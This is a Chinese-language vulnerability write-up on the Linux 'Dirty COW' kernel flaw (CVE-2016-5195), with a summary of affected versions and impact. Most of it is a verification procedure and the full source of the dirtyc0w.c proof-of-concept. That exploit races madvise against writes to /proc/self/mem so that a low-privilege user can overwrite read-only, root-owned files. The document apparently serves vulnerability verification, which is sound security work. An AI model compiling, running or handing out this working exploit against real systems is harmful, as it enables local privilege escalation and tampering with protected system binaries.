一、漏洞简介
漏洞编号:CVE-2016-5195
漏洞名称:脏牛(Dirty COW)
漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权
影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。
Android 7.0最新的10月补丁安全级别的系统上测试过漏洞POC,确认Android受影响
二、漏洞影响
1. 没有权限的本地用户可以使用此漏洞获取写访问权限,修改制度内存映射,从而提权。
2. 改漏洞允许攻击者使用本地账户修改磁盘上的二进制文件,绕过标准权限的限制,这些权限机制通常用于防止修改没有适当的权限集。
三、漏洞细节
RedHat官网:https://access.redhat.com/security/vulnerabilities/2706661
四、漏洞验证
1、创建个测试用户 # useradd test 2、创建一个test文件,文件内容为this is test # cd /tmp # echo this is test > test # cat test this is test 3、把test文件权限设置成0404 # chmod 0404 test # ls -l test -r-----r-- 1 root root 13 Oct 27 14:12 test 4、创建漏洞利用POC脚本 # vim dirtyc0w.c 5、运行脚本 # gcc -lpthread dirtyc0w.c -o dirtyc0w 6、切换到test用户 # su - test $ cd /tmp/ 7、用漏洞脚本把test文件内容更改为m00000000000000000 $ ./dirtyc0w test m00000000000000000 mmap 7ff37b870000 madvise 0 procselfmem 1800000000 8、查看结果,test文件内容被更改。漏洞存在 $ cat test m000000000000
dirtyc0w.c文件内容
#include <stdio.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdint.h> void *map; int f; struct stat st; char *name; void *madviseThread(void *arg) { char *str; str=(char*)arg; int i,c=0; for(i=0;i<100000000;i++) { /* You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661 > This is achieved by racing the madvise(MADV_DONTNEED) system call > while having the page of the executable mmapped in memory. */ c+=madvise(map,100,MADV_DONTNEED); } printf("madvise %d\n\n",c); } void *procselfmemThread(void *arg) { char *str; str=(char*)arg; /* You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16 > The in the wild exploit we are aware of doesn't work on Red Hat > Enterprise Linux 5 and 6 out of the box because on one side of > the race it writes to /proc/self/mem, but /proc/self/mem is not > writable on Red Hat Enterprise Linux 5 and 6. */ int f=open("/proc/self/mem",O_RDWR); int i,c=0; for(i=0;i<100000000;i++) { /* You have to reset the file pointer to the memory position. */ lseek(f,(uintptr_t) map,SEEK_SET); c+=write(f,str,strlen(str)); } printf("procselfmem %d\n\n", c); } int main(int argc,char *argv[]) { /* You have to pass two arguments. File and Contents. */ if (argc<3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1,pth2; /* You have to open the file in read only mode. */ f=open(argv[1],O_RDONLY); fstat(f,&st); name=argv[1]; /* You have to use MAP_PRIVATE for copy-on-write mapping. > Create a private copy-on-write mapping. Updates to the > mapping are not visible to other processes mapping the same > file, and are not carried through to the underlying file. It > is unspecified whether changes made to the file after the > mmap() call are visible in the mapped region. */ /* You have to open with PROT_READ. */ map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); printf("mmap %zx\n\n",(uintptr_t) map); /* You have to do it on two threads. */ pthread_create(&pth1,NULL,madviseThread,argv[1]); pthread_create(&pth2,NULL,procselfmemThread,argv[2]); /* You have to wait for the threads to finish. */ pthread_join(pth1,NULL); pthread_join(pth2,NULL); return 0; }

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